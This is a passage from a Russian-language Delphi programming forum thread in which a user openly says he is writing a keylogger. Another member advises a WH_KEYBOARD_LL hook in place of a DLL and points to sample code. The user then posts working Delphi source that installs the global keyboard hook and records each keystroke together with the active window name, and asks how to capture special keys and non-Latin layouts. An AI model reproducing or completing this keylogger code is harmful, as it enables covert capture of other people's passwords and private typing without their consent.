Конференция "WinAPI" » Как перезать сообщение скрытой форме из dll [D7]
 
  • Сергей М. © (14.11.12 18:00) [20]
    Похоже QAZ9   (14.11.12 10:41) [10] был не так уж далек от истины)

    Ты кейлоггер лепишь что ли ?
  • cad2206 (14.11.12 18:28) [21]

    > ты для начала, сделай чтобы вообще работало, потом понтуйся
    > :)

    уважаемый QAZ9, я ни капли не сомневаюсь в твоих способностях, чес слово, верю тебе). только ты либо отвечай по делу (ну или советуй), либо молчи. мне твои "понтуйся", "идиотский хук" даже близко не нужны.

    Сергей М.  - да, это кейлоггер. но не каждый кейлоггер несет зло, если вы к этому ведете)
  • cad2206 (14.11.12 18:31) [22]
    Мужики, прошу помочь разобраться. Я ведь не сказал, что я гуру какой, а тут несу бред сивой кобылы. Все когда-то учились.
  • Сергей М. © (14.11.12 22:07) [23]

    > cad2206   (14.11.12 18:28) [21]


    Ну если кейлоггер, то ты вообще не в тот огород полез.
    Ставь хук WH_LL_KEYBOARD и забудь про свои страдания с DLL как кошмарный сон.
  • cad2206 (14.11.12 22:34) [24]
    Сергей М., спасибо за понимание и помощь. Т.е. мне вообще отказаться от dll и все делать в программе?
  • Германн © (14.11.12 22:51) [25]
  • cad2206 (14.11.12 23:00) [26]
    ох млин... завтра начну все сначала)
  • cad2206 (14.11.12 23:00) [27]
    ох млин... завтра начну все сначала)
  • cad2206 (14.11.12 23:00) [28]
    ох млин... завтра начну все сначала)
  • Сергей М. © (14.11.12 23:49) [29]

    > Т.е. мне вообще отказаться от dll и все делать в программе?


    Я не знаю что такое в твоем понимании "все".
    Но как минимум протоколирование нажатия/отжатия клавиш довольно просто выполняется безо всяких dll установкой вышеупомянутого хука.
  • cad2206 (14.11.12 23:54) [30]
    нужно писать в файл нажатия кнопок с клавиатуры, ну и окно, в котором они нажимаются. без использования dll возможно тем хуком, что ты предложил?
  • Сергей М. © (14.11.12 23:58) [31]

    > cad2206


    Вот тут рядышком

    http://pda.delphimaster.net/?id=1227867160&n=5

    курили эту траву во времена не столь давние

    На задачу топикстартера можно не обращать внимания - в посте [4] фигурирует рыба для сотворения упомянутого хука.
  • cad2206 (15.11.12 00:05) [32]
    спасибо, буду завтра изучать
  • cad2206 (15.11.12 15:00) [33]
    И снова здраствуйте)...
    Попробовал использовать WH_KEYBOARD_LL. Без библиотеки..
    Процедура установки хука:


    procedure InstallHook;
    const
    WH_KEYBOARD_LL = 13;
    begin
    hHook:=SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);
    if hHook=0
    then RaiseLastOSError;
    end;



    Основная функция:


    function LowLevelKeyboardProc(nCode: Integer;
     WParam: WPARAM; LParam: LPARAM): LRESULT stdcall;

     type
     PKbdDllHookStrukt = ^TKbdDllHookStrukt;
     _KBDLLHOOKSTRUCT = record
       vkCode: DWORD;
       scanCode: DWORD;
       flags: DWORD;
       time: DWORD;
       dwExtraInfo: PDWORD;
     end;
     TKbdDllHookStrukt = _KBDLLHOOKSTRUCT;

    const
    RPT_WPARAM_DATA = '%s';
    RPT_LPARAM_DATA = '%d';

    var
    StrResult: string;
    Key: array[0..1] of Char;
    KeyboardState: tKeyboardState;
    ScanCode: integer;
    begin
    StrResult:='';
    if nCode=HC_ACTION
    then Result:=CallNextHookEx(hHook, nCode, WParam, LParam);

    case WParam of
     WM_KEYDOWN: StrResult:=Format(RPT_WPARAM_DATA, ['']);
     WM_KEYUP: StrResult:=Format(RPT_WPARAM_DATA, ['']);
     WM_SYSKEYDOWN: StrResult:=Format(RPT_WPARAM_DATA, ['']);
     WM_SYSKEYUP: StrResult:=Format(RPT_WPARAM_DATA, ['']);
    end;

    StrResult:=Format(RPT_LPARAM_DATA, [PKbdDllHookStrukt(LParam)^.vkCode]);
    GetKeyboardState(KeyboardState);
    VKey:=strtoint(strresult);
    ScanCode:=(LParam shr 16) and $FF;

    if ToAscii(VKey,ScanCode,KeyboardState,Key,0)>0 then
     begin
      GetActiveWindow;
      Form1.Memo1.Lines.Add(ActWnd+' / '+Key+' / '+StrResult);
     end;

    end;



    В итоге:
    1 проблема: в переменной Key получаю цифру или букву (с учетом регистра), но при нажатии клавиш типа Enter, BreakSpase и т.п не могу получить их названия
    2 проблема: в чужих окнах не видится раскладка клавиатуры (выводятся только латинские символы), хотя в своем Memo все ок

    Куда дальше смотреть?
 
Конференция "WinAPI" » Как перезать сообщение скрытой форме из dll [D7]
Есть новые Нет новых   [134430   +3][b:0][p:0.001]